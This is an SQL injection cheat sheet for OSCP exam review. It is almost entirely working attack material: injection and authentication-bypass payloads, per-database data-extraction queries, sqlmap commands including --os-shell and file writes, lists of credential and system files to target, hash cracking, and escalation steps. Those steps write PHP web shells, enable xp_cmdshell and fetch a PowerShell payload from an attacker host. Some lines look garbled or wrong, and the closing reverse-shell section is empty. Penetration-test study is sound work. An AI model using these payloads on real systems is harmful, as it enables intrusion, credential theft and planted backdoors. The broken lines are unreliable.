SQL Injection Quick Reference Cheat Sheet
Purpose: One-stop reference for all SQLi payloads, commands, paths, and checklists during OSCP exam review. Keep this tab open.
Table of Contents
- Injection Point Testing
- Column Count Discovery
- Database Identification
- Data Extraction Quick Commands
- Common Web Paths
- OSCP-Relevant SQLi Checklist
- Tools Summary
- Payload Quick Reference by Database
- Authentication Bypass One-Liners
- Escalation Quick Reference
1. Injection Point Testing
Basic Test Payloads (Test in Order)
| # | Payload | Purpose | Success Indicator |
|---|---|---|---|
| 1 | ' |
Break string literal | SQL error / changed output |
| 2 | " |
Break double-quoted string | SQL error / changed output |
| 3 | '-- |
Comment out rest of query | Page loads normally (rest ignored) |
| 4 | "-- |
Comment out rest (double quote) | Page loads normally |
| 5 | ' OR '1'='1 |
Boolean tautology (string) | All rows returned / extra data shown |
| 6 | ' OR 1=1-- |
Boolean tautology (numeric) | All rows returned |
| 7 | 1 OR 1=1-- |
Numeric context tautology | All rows returned |
| 8 | ' OR '1'='1'-- |
String with comment | All rows returned |
| 9 | 1' ORDER BY 1-- |
Test column ordering | Normal = 1+ cols exist |
| 10 | 1' UNION SELECT NULL-- |
Test UNION compatibility | Error = type mismatch, success = compatible |
| 11 | 1' AND 1=1-- |
Boolean true baseline | Normal page output |
| 12 | 1' AND 1=2-- |
Boolean false baseline | Empty / different output |
| 13 | 1'; WAITFOR DELAY '0:0:5'-- |
Time-based (MSSQL) | 5-second delay |
| 14 | 1' AND SLEEP(5)-- |
Time-based (MySQL) | 5-second delay |
| 15 | 1' AND (SELECT COUNT(*) FROM SLEEP(5))-- |
Time-based (PostgreSQL via pg_sleep) | Delay observed |
Response Interpretation
| Response | Meaning |
|---|---|
| SQL syntax error shown | Vulnerable — error-based extraction possible |
| Page changes but no error | Vulnerable — blind SQLi (boolean or time-based) |
| Delay in response | Vulnerable — time-based blind SQLi |
| All rows returned | Vulnerable — boolean-based confirmed |
| No change at all | Try different quote types, encodings, or parameter positions |
| Filtered / stripped input | WAF or input sanitization — try encoding bypasses |
Encoding Bypass Attempts
%27 -- URL-encoded single quote
%2527 -- Double URL-encoded
\u0027 -- Unicode escape
\x27 -- Hex escape
CHAR(39) -- MySQL/SQL Server char function
2. Column Count Discovery
ORDER BY Method
Increment N until you get an error:
' ORDER BY 1-- -- No error → at least 1 column
' ORDER BY 2-- -- No error → at least 2 columns
' ORDER BY 3--
' ORDER BY 4--
' ORDER BY 5--
...
' ORDER BY N-- -- Error → total columns = N-1
Binary search for speed:
' ORDER BY 10-- -- Error? Try 5. No error? Try 15.
' ORDER BY 5--
' ORDER BY 8--
-- Narrow down until you find the exact count
UNION NULL Method
Once you know the column count (e.g., 3 columns):
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL,NULL--
Success: Page loads normally (or shows NULLs). Error: Wrong column count — adjust up or down.
Replacing NULLs with Identifiable Values
-- MySQL
' UNION SELECT 1,2,3--
-- MSSQL
' UNION SELECT 1,2,3--
-- PostgreSQL
' UNION SELECT 1,2,3--
-- Oracle (no UNION with different types easily)
' UNION SELECT 'a','b','c' FROM DUAL--
-- SQLite
' UNION SELECT 1,2,3--
Note which positions display on the page — those are your extraction columns.
3. Database Identification
MySQL Fingerprinting
-- Version
' UNION SELECT VERSION(),2,3--
-- Current user
' UNION SELECT USER(),2,3--
-- Database name
' UNION SELECT DATABASE(),2,3--
-- @@version_comment contains 'MySQL'
' UNION SELECT @@version_comment,2,3--
-- Error-based: extractvalue
' AND extractvalue(1,CONCAT(0x7e,VERSION()))--
-- Specific MySQL function
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--
MSSQL Fingerprinting
-- Version
' UNION SELECT @@VERSION,2,3--
-- Current user
' UNION SELECT SYSTEM_USER,2,3--
-- Database name
' UNION SELECT DB_NAME(),2,3--
-- Server name
' UNION SELECT @@SERVERNAME,2,3--
-- Error-based conversion
'; CONVERT(int,(SELECT @@VERSION))--
-- Specific MSSQL function
' AND 1=CONVERT(int,@@VERSION)--
PostgreSQL Fingerprinting
-- Version
' UNION SELECT version(),2,3--
-- Current user
' UNION SELECT current_user,2,3--
-- Database name
' UNION SELECT current_database(),2,3--
-- Specific PostgreSQL function
' AND 1=(SELECT 1 FROM pg_tables LIMIT 1)--
-- Error-based
' UNION SELECT pg_version(),2,3--
Oracle Fingerprinting
-- Version (always use FROM DUAL)
' UNION SELECT banner FROM SYS.V_$VERSION--
-- Current user
' UNION SELECT SYS.USER FROM DUAL--
-- Database name
' UNION SELECT global_name FROM GLOBAL_NAME--
-- Specific Oracle function
' AND (SELECT SYS.DBMS_XMLGEN.GETXML('SELECT 1 FROM DUAL') FROM DUAL) IS NOT NULL--
-- Banner
' UNION SELECT VALUE FROM V$SYSTEM_PARAMETER WHERE NAME='background_dump_dest'--
SQLite Fingerprinting
-- Version
' UNION SELECT sqlite_version(),2,3--
-- Specific SQLite function
' AND (SELECT count(*) FROM sqlite_master)>0--
-- File location
' UNION SELECT file,2,3 FROM sqlite_master--
Quick DB Detection Table
| DB | Version Query | Comment Style | Key Function |
|---|---|---|---|
| MySQL | VERSION() |
-- or # |
LOAD_FILE(), INTO OUTFILE |
| MSSQL | @@VERSION |
-- |
xp_cmdshell, OPENROWSET |
| PostgreSQL | version() |
-- |
COPY TO/FROM, pg_read_file() |
| Oracle | banner FROM V$VERSION |
-- |
UTL_FILE, DBMS_SCHEDULER |
| SQLite | sqlite_version() |
-- |
Direct file access |
4. Data Extraction Quick Commands
sqlmap One-Liners
# === ENUMERATION ===
# Enumerate all databases
sqlmap -u "http://target/page?id=1" --dbs
# Enumerate tables in current database
sqlmap -u "http://target/page?id=1" --tables
# Enumerate tables in specific database
sqlmap -u "http://target/page?id=1" -D database_name --tables
# Enumerate columns of a table
sqlmap -u "http://target/page?id=1" -D database_name -T table_name --columns
# Dump all data from a table
sqlmap -u "http://target/page?id=1" -D database_name -T table_name --dump
# Dump specific columns
sqlmap -u "http://target/page?id=1" -D database_name -T table_name -C col1,col2 --dump
# Dump with search filter
sqlmap -u "http://target/page?id=1" -D database_name -T users -C username,password --dump --search "admin"
# === AUTHENTICATION BYPASS ===
# Bypass login form
sqlmap -u "http://target/login.php" --data="user=admin&pass=test&submit=Login" --batch --os-shell
# === OS INTERACTION ===
# Read file from OS
sqlmap -u "http://target/page?id=1" --file-read="/etc/passwd"
# Write file to OS
sqlmap -u "http://target/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"
# OS shell (if privileges allow)
sqlmap -u "http://target/page?id=1" --os-shell
# OS pty (better shell)
sqlmap -u "http://target/page?id=1" --os-pty
# Windows cmd shell
sqlmap -u "http://target/page?id=1" --os-cmd "whoami"
# === ADVANCED ===
# Specify injection technique
sqlmap -u "http://target/page?id=1" --technique=BEST --dbs
# Force a specific DBMS
sqlmap -u "http://target/page?id=1" --dbms=mysql --dbs
# Use tamper scripts for WAF bypass
sqlmap -u "http://target/page?id=1" --tamper=space2comment,randomcase --dbs
# Multiple tamper scripts
sqlmap -u "http://target/page?id=1" --tamper=space2comment,randomcase,charencode --dbs
# Custom injection point
sqlmap -u "http://target/page?id=1" --level=5 --risk=3 --dbs
# Cookie-based injection
sqlmap -u "http://target/page" --cookie="id=1" --dbs
# Header-based injection (User-Agent)
sqlmap -u "http://target/page" --headers="X-Forwarded-For: 1.1.1.1" --level=3 --dbs
# POST data injection
sqlmap -u "http://target/page" --data="id=1&submit=Go" --dbs
# Save and restore session
sqlmap -u "http://target/page?id=1" --dbs --time-sec=3 --flush-session
sqlmap -u "http://target/page?id=1" --dbs --time-sec=3 # resumes from cache
# Output to file
sqlmap -u "http://target/page?id=1" --dump -o output.csv
# Smart mode (auto-detect, fewer tests)
sqlmap -u "http://target/page?id=1" --smart --dbs
Manual UNION Extraction One-Liners
MySQL
-- Database name
' UNION SELECT DATABASE(),2,3--
-- All database names
' UNION SELECT SCHEMA_NAME,2,3 FROM INFORMATION_SCHEMA.SCHEMATA--
-- All tables in current DB
' UNION SELECT TABLE_NAME,2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
-- All tables in specific DB
' UNION SELECT TABLE_NAME,2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='target_db'--
-- All columns in a table
' UNION SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--
-- Column names and types
' UNION SELECT COLUMN_NAME,DATA_TYPE,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--
-- Extract data
' UNION SELECT username,password,3 FROM users--
-- Concatenate multiple columns
' UNION SELECT CONCAT(username,0x3a,password),2,3 FROM users--
-- Read file
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
-- Write file
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
-- Current user and privileges
' UNION SELECT USER(),CURRENT_USER(),3--
MSSQL
-- Database name
' UNION SELECT DB_NAME(),2,3--
-- All database_name,2,3 FROM sys.databases--
-- All tables
' UNION SELECT name,2,3 FROM sys.tables--
-- All tables (older method)
' UNION SELECT name,2,3 FROM sysobjects WHERE xtype='U'--
-- All columns
' UNION SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--
-- Extract data
' UNION SELECT username,password,3 FROM users--
-- Concatenate
' UNION SELECT username+':'+password,2,3 FROM users--
-- xp_cmdshell (if enabled)
'; EXEC xp_cmdshell 'whoami'--
-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--
-- Read file (OPENROWSET)
'; SELECT * FROM OPENROWSET(BULK 'C:\windows\win.ini', SINGLE_CLOB) x--
-- Current user
' UNION SELECT SYSTEM_USER,2,3--
-- Is DBA?
' UNION SELECT IS_SRVROLEMEMBER('sysadmin'),2,3--
PostgreSQL
-- Database name
' UNION SELECT current_database(),2,3--
-- All databases
' UNION SELECT datname,2,3 FROM pg_database--
-- All tables
' UNION SELECT tablename,2,3 FROM pg_tables WHERE schemaname='public'--
-- All columns
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
-- Extract data
' UNION SELECT username,password,3 FROM users--
-- Concatenate
' UNION SELECT username||':'||password,2,3 FROM users--
-- Read file
' UNION SELECT pg_read_file('/etc/passwd', 0, 10000),2,3--
-- Write file (COPY)
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--
-- Time-based blind
'; SELECT pg_sleep(5)--
-- Current user
' UNION SELECT current_user,2,3--
Oracle
-- Database name
' UNION SELECT global_name FROM GLOBAL_NAME--
-- All tables
' UNION SELECT table_name FROM all_tables--
-- All columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
-- Extract data
' UNION SELECT username,password FROM users--
-- Concatenate
' UNION SELECT username||':'||password FROM users--
-- Banner
' UNION SELECT banner FROM sys.v_$version--
-- Current user
' UNION SELECT SYS.USER FROM DUAL--
-- Time-based blind
' AND 1=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)--
SQLite
-- All tables
' UNION SELECT name,2 FROM sqlite_master WHERE type='table'--
-- All tables with SQL
' UNION SELECT name,sql,3 FROM sqlite_master--
-- Schema of a table
' UNION SELECT sql,2,3 FROM sqlite_master WHERE name='users'--
-- Extract data
' UNION SELECT username,password,3 FROM users--
-- Concatenate
' UNION SELECT username||':'||password,2,3 FROM users--
-- Version
' UNION SELECT sqlite_version(),2,3--
-- Read arbitrary file
' UNION SELECT hex(quote(readfile('/etc/passwd'))),2,3--
-- Write file (limited)
ATTACH DATABASE '/var/www/html/shell.php' AS backdoor;
CREATE TABLE backdoor.payload (data TEXT);
INSERT INTO backdoor.payload (data) VALUES ('<?php system($_GET["cmd"]); ?>');
5. Common Web Paths
Linux Web Paths
/var/www/html/
/var/www/
/var/www/html/index.php
/var/www/html/index.html
/var/www/html/shell.php
/var/www/html/uploads/
/var/www/html/images/
/var/www/html/css/
/var/www/html/js/
/var/www/html/wp-content/uploads/
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/robots.txt
/var/www/html/sitemap.xml
/var/www/html/config.php
/var/www/html/config.inc.php
/var/www/html/configuration.php
/var/www/html/includes/config.php
/var/www/html/app/config/
/var/www/html/public/
/var/www/html/public_html/
/var/www/html/admin/
/var/www/html/dashboard/
/var/www/html/api/
/var/www/html/upload/
/var/www/html/temp/
/var/www/html/tmp/
/var/www/html/backup/
/var/www/html/old/
/var/www/html/test/
/var/www/html/dev/
/var/www/html/staging/
/var/www/html/debug/
/var/www/html/logs/
/var/www/html/log/
/var/www/html/error_log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/mysql/error.log
/var/log/postgresql/
/srv/www/
/srv/httpd/
/opt/lampp/htdocs/
/opt/xampp/htdocs/
/home/*/public_html/
/usr/local/apache/htdocs/
/usr/local/www/data/
Windows Web Paths
C:\inetpub\wwwroot\
C:\inetpub\wwwroot\index.php
C:\inetpub\wwwroot\index.html
C:\inetpub\wwwroot\default.aspx
C:\inetpub\wwwroot\shell.php
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\global.asa
C:\inetpub\wwwroot\upload\
C:\inetpub\wwwroot\uploads\
C:\inetpub\wwwroot\admin\
C:\inetpub\wwwroot\images\
C:\inetpub\wwwroot\css\
C:\inetpub\wwwroot\js\
C:\inetpub\wwwroot\config.php
C:\inetpub\wwwroot\configuration.php
C:\inetpub\wwwroot\wp-config.php
C:\inetpub\wwwroot\wp-content\uploads\
C:\xampp\htdocs\
C:\xampp\htdocs\shell.php
C:\xampp\htdocs\config.php
C:\wamp\www\
C:\wamp\www\shell.php
C:\wamp64\www\
C:\Program Files\Apache Group\Apache\htdocs\
C:\Program Files (x86)\Apache Group\Apache\htdocs\
C:\Program Files\xampp\htdocs\
C:\Program Files (x86)\xampp\htdocs\
C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\
C:\Program Files\Apache Software Foundation\Apache2.4\htdocs\
C:\Windows\
C:\Windows\System32\
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\system.ini
C:\boot.ini
C:\Windows\repair\SAM
C:\Windows\System32\config\Sam
C:\Windows\System32\config\SYSTEM
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml.bak
C:\Windows\System32\inetsrv\config\applicationHost.config
C:\Users\
C:\Users\Public\
C:\Users\Administrator\
C:\Users\Administrator\Desktop\
C:\Users\Administrator\Documents\
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\NTUSER.DAT
C:\Documents and Settings\Administrator\NTUSER.DAT
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files (x86)\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\
Sensitive Files to Target
# Linux
/etc/passwd
/etc/shadow
/etc/hosts
/etc/mysql/my.cnf
/etc/postgresql/*/main/pg_hba.conf
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/root/.bash_history
/home/*/.ssh/id_rsa
/var/lib/mysql/*.ibd
# Windows
C:\Windows\win.ini
C:\boot.ini
C:\Windows\System32\inetsrv\config\applicationHost.config
C:\Windows\System32\config\SAM
C:\Users\Administrator\NTUSER.DAT
6. OSCP-Relevant SQLi Checklist
Step-by-Step Exam Checklist
□ 1. ENUMERATE INPUT VECTORS
□ GET parameters
□ POST parameters
□ Cookie values
□ HTTP headers (User-Agent, Referer, X-Forwarded-For)
□ URL path segments
□ Search fields
□ Login forms
□ Comment forms
□ Profile edit fields
□ File upload fields (filename parameter)
□ 2. TEST FOR VULNERABILITY
□ Inject single quote: '
□ Inject double quote: "
□ Inject comment: '--
□ Inject boolean: ' OR '1'='1
□ Inject time-based: ' AND SLEEP(5)--
□ Check error messages for DB type
□ 3. IDENTIFY DATABASE
□ Use version() / @@VERSION / version() queries
□ Check error message format
□ Note: MySQL, MSSQL, PostgreSQL most common in OSCP
□ 4. DETERMINE COLUMN COUNT
□ ORDER BY incremental method
□ UNION NULL method to confirm
□ 5. IDENTIFY DISPLAYABLE COLUMNS
□ Replace NULLs with 1,2,3...
□ Note which positions render on page
□ 6. ENUMERATE DATABASE STRUCTURE
□ List all databases
□ List all tables in target database
□ List columns of interesting tables
□ Look for: users, admin, credentials, accounts, login
□ 7. EXTRACT DATA
□ Dump usernames and passwords
□ Check for plaintext, MD5, SHA1, bcrypt hashes
□ Crack hashes (hashcat / online crackers)
□ Look for API keys, tokens, config data
□ 8. ATTEMPT ESCALATION
□ Try file read (LOAD_FILE, pg_read_file, etc.)
□ Try file write (INTO OUTFILE, COPY TO, etc.)
□ Try command execution (xp_cmdshell, etc.)
□ Try to write web shell
□ Try to read sensitive config files
□ 9. AUTOMATE WITH SQLMAP (if time allows)
□ Run sqlmap for enumeration
□ Use --dump for data extraction
□ Use --os-shell if privileges allow
□ Save session to avoid re-testing
□ 10. DOCUMENT EVERYTHING
□ Screenshot each step
□ Record payloads used
□ Record data extracted
□ Note database type and version
□ Note escalation path taken
What to Document
1. Vulnerability Type: SQL Injection (Error-based / Union-based / Blind Boolean / Blind Time)
2. Injection Point: Parameter name, HTTP method, URL
3. Database Type: MySQL 5.x / MSSQL 201x / PostgreSQL x.x
4. Payloads Used: The exact payloads that worked
5. Data Extracted:
- Database names
- Table names
- Column names
- User credentials (hashes or plaintext)
- Any sensitive data
6. Escalation Steps:
- File read/write attempts
- Command execution attempts
- Web shell deployment
7. Screenshots:
- Initial vulnerability proof
- Column count discovery
- Data extraction results
- Any escalation results
Evidence Collection
# Screenshot commands (Kali)
import -window root screenshot.png # Full screen
gnome-screenshot -f screenshot.png # GNOME
scrot screenshot.png # Lightweight
# For report - capture:
# 1. The vulnerable URL with payload
# 2. The error message or changed output
# 3. The extracted data
# 4. Any command execution output
# Save sqlmap output
sqlmap -u "URL" --dump -o dump.csv
# Save manual extraction
curl "URL?payload" > extraction_output.txt
7. Tools Summary
| Tool | Purpose | Quick Command |
|---|---|---|
| sqlmap | Automated SQLi detection & exploitation | sqlmap -u "URL?id=1" --batch --dbs |
| Burp Suite | Intercept & modify requests | Proxy → Intercept ON → modify parameter |
| curl | Manual request testing | curl "URL?id=1'%20OR%20'1'='1" |
| wget | Download files after write | wget http://target/shell.php?cmd=id |
| hashcat | Crack extracted password hashes | hashcat -m 0 hashes.txt rockyou.txt |
| john | Alternative hash cracker | john --wordlist=rockyou.txt hashes.txt |
| nmap | Enumerate DB ports | nmap -p 3306,1433,5432,1521 target |
| mysql | Direct DB connection | mysql -h target -u root -p |
| ncat / nc | Reverse shell listener | ncat -lvnp 4444 |
| python3 | One-liner reverse shell | python3 -c 'import pty;pty.spawn("/bin/bash")' |
| base64 | Encode payloads | echo "payload" | base64 |
| xxd | Hex encoding | echo "payload" | xxd -p |
sqlmap Tamper Scripts Reference
| Script | Purpose |
|---|---|
space2comment |
Replace spaces with /**/ |
space2plus |
Replace spaces with + |
randomcase |
Randomize case |
charencode |
URL-encode all chars |
unionalltounion |
Replace UNION ALL SELECT with UNION SELECT |
equaltolike |
Replace = with LIKE |
apostrophemask |
Replace ' with %27 |
modsecurityversioned |
Append valid MySQL comment |
between |
Replace > with NOT BETWEEN |
bluecoat |
Replace spaces after SQL statements |
generic_evasion |
Multiple evasion techniques |
8. Payload Quick Reference by Database
MySQL
# === ERROR-BASED ===
' AND extractvalue(1,CONCAT(0x7e,(SELECT VERSION())))--
' AND updatexml(1,CONCAT(0x7e,(SELECT VERSION())),1)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--
# === UNION-BASED ===
' UNION SELECT 1,VERSION(),3--
' UNION SELECT 1,USER(),3--
' UNION SELECT 1,DATABASE(),3--
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=DATABASE()--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users--
# === BOOLEAN-BLIND ===
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>97--
# === TIME-BLIND ===
' AND IF(1=1,SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97,SLEEP(5),0)--
# === FILE OPERATIONS ===
-- Read
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
-- Write
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php'--
-- Requirements for INTO OUTFILE:
-- FILE_PRIV required, secure_file_priv must allow path
MSSQL
# === ERROR-BASED ===
'; CONVERT(int,(SELECT @@VERSION))--
'; CAST((SELECT @@VERSION) AS int)--
# === UNION-BASED ===
' UNION SELECT @@VERSION,2,3--
' UNION SELECT SYSTEM_USER,2,3--
' UNION SELECT DB_NAME(),2,3--
' UNION SELECT name,2,3 FROM sys.tables--
' UNION SELECT name,2,3 FROM sys.databases--
' UNION SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--
' UNION SELECT username+':'+password,2,3 FROM users--
# === BOOLEAN-BLIND ===
' AND (SELECT TOP 1 SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
' AND (SELECT TOP 1 ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin')>97--
# === TIME-BLIND ===
'; WAITFOR DELAY '0:0:5'--
'; IF(1=1) WAITFOR DELAY '0:0:5'--
# === COMMAND EXECUTION ===
-- Direct (if xp_cmdshell enabled)
'; EXEC xp_cmdshell 'whoami'--
-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'--
-- Alternative: OLE Automation
'; EXEC sp_OACreate 'WScript.Shell', @shell OUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami'--
-- Read file via OPENROWSET
'; SELECT * FROM OPENROWSET(BULK 'C:\windows\win.ini', SINGLE_CLOB) x--
-- Write file via bcp (external)
bcp "SELECT '<?php system($_GET["cmd"]); ?>'" queryout "C:\inetpub\wwwroot\shell.php" -S server -U user -P pass -c
PostgreSQL
# === UNION-BASED ===
' UNION SELECT version(),2,3--
' UNION SELECT current_user,2,3--
' UNION SELECT current_database(),2,3--
' UNION SELECT tablename,2,3 FROM pg_tables WHERE schemaname='public'--
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username||':'||password,2,3 FROM users--
# === BOOLEAN-BLIND ===
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin' LIMIT 1)='a'--
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 1),1,1))>97--
# === TIME-BLIND ===
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# === FILE OPERATIONS ===
-- Read
' UNION SELECT pg_read_file('/etc/passwd', 0, 10000),2,3--
-- List directory (PG 10+)
' UNION SELECT pg_ls_dir('.'),2,3--
-- Write via COPY
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--
-- Write via data_directory
' UNION SELECT setting,2,3 FROM pg_settings WHERE name='data_directory'--
Oracle
# === UNION-BASED ===
' UNION SELECT banner FROM sys.v_$version--
' UNION SELECT SYS.USER FROM DUAL--
' UNION SELECT global_name FROM GLOBAL_NAME--
' UNION SELECT table_name FROM all_tables--
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
' UNION SELECT username||':'||password FROM users--
# === BOOLEAN-BLIND ===
' AND (SELECT SUBSTR(password,1,1) FROM users WHERE username='ADMIN' AND ROWNUM=1)='A'--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='ADMIN' AND ROWNUM=1),1,1))>65--
# === TIME-BLIND ===
' AND 1=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)--
' AND (SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE DBMS_LOCK.SLEEP(0) END FROM DUAL)--
# === FILE OPERATIONS (UTL_FILE) ===
-- Read (requires directory object)
-- Write (requires directory object and privileges)
-- Limited in most OSCP labs
SQLite
# === UNION-BASED ===
' UNION SELECT sqlite_version(),2,3--
' UNION SELECT name,2 FROM sqlite_master WHERE type='table'--
' UNION SELECT name,sql,3 FROM sqlite_master--
' UNION SELECT username,password,3 FROM users--
' UNION SELECT username||':'||password,2,3 FROM users--
# === BOOLEAN-BLIND ===
' AND (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='a'--
' AND UNICODE(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>97--
# === FILE OPERATIONS ===
-- Read arbitrary file
' UNION SELECT readfile('/etc/passwd'),2,3--
-- Attach external database for write
ATTACH DATABASE '/var/www/html/shell.php' AS backdoor;
CREATE TABLE backdoor.payload (data TEXT);
INSERT INTO backdoor.payload (data) VALUES ('<?php system($_GET["cmd"]); ?>');
DETACH DATABASE backdoor;
9. Authentication Bypass One-Liners
Login Form Payloads (Username Field)
' OR '1'='1'--
' OR '1'='1'#
' OR 1=1--
' OR 1=1#
admin'--
admin'#
' OR ''='
" OR ""="
' OR 'x'='x
" OR "x"="x
') OR ('x'='x
') OR ('x'='x')--
') OR ('x'='x')#
" OR 1=1--
' OR 1=1 UNION SELECT 1,2,3--
Login Form Payloads (Password Field)
' OR '1'='1'--
' OR '1'='1'#
anything' OR '1'='1'--
' OR 1=1--
' OR ''='
Both Fields (Username + Password)
Username: admin'--
Password: anything
Username: ' OR '1'='1'--
Password: ' OR '1'='1'--
Username: admin
Password: ' OR '1'='1'--
sqlmap Auth Bypass
# Auto bypass login
sqlmap -u "http://target/login.php" --data="username=admin&password=test&submit=Login" --batch --prefix="'" --suffix="-- "
# With specific technique
sqlmap -u "http://target/login.php" --data="username=admin&password=test&submit=Login" --technique=B --batch
Common Hash Cracking
# MD5 (mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# SHA1 (mode 100)
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt
# MySQL 4.1+ (mode 300)
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt
# WordPress phpass (mode 400)
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
# Django SHA256 (mode 110)
hashcat -m 110 hashes.txt /usr/share/wordlists/rockyou.txt
# Online check
curl "https://hashtoolkit.com/reverse-hash/?hash=HASH_HERE"
10. Escalation Quick Reference
From SQLi to File Read
# MySQL
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
' UNION SELECT LOAD_FILE('C:\\windows\\win.ini'),2,3--
# MSSQL
'; SELECT * FROM OPENROWSET(BULK 'C:\\windows\\win.ini', SINGLE_CLOB) x--
# PostgreSQL
' UNION SELECT pg_read_file('/etc/passwd', 0, 999999),2,3--
# SQLite
' UNION SELECT readfile('/etc/passwd'),2,3--
From SQLi to File Write
# MySQL - INTO OUTFILE
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php'--
# MSSQL - bcp (external tool)
bcp "SELECT '<?php system($_GET["cmd"]); ?>'" queryout "C:\inetpub\wwwroot\shell.php" -S . -U sa -P password -c
# PostgreSQL - COPY TO
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--
# SQLite - Attach
ATTACH DATABASE '/var/www/html/shell.php' AS x;
CREATE TABLE x.c (d TEXT);
INSERT INTO x.c (d) VALUES ('<?php system($_GET["cmd"]); ?>');
DETACH DATABASE x;
From SQLi to Command Execution
# MySQL - UDF (advanced, requires compile)
# 1. Upload UDF DLL/SO via INTO OUTFILE to plugin dir
# 2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'
# 3. SELECT sys_eval('id')
# MSSQL - xp_cmdshell
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")'--
# MSSQL - OLE Automation
'; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c whoami > C:\inetpub\wwwroot\out.txt'--
# PostgreSQL - No direct cmd exec (use file write + web shell)
# Oracle - No direct cmd exec in most configs
From SQLi to Reverse Shell
# Step 1: Write a web shell via SQLi file write
# Step 2: Access the shell via browser
# Step 3: Use the shell to spawn a reverse shell
# PHP web shell (write via SQLi)
<?php system($_GET["cmd"]); ?>
# PHP reverse shell (write via SQLi)
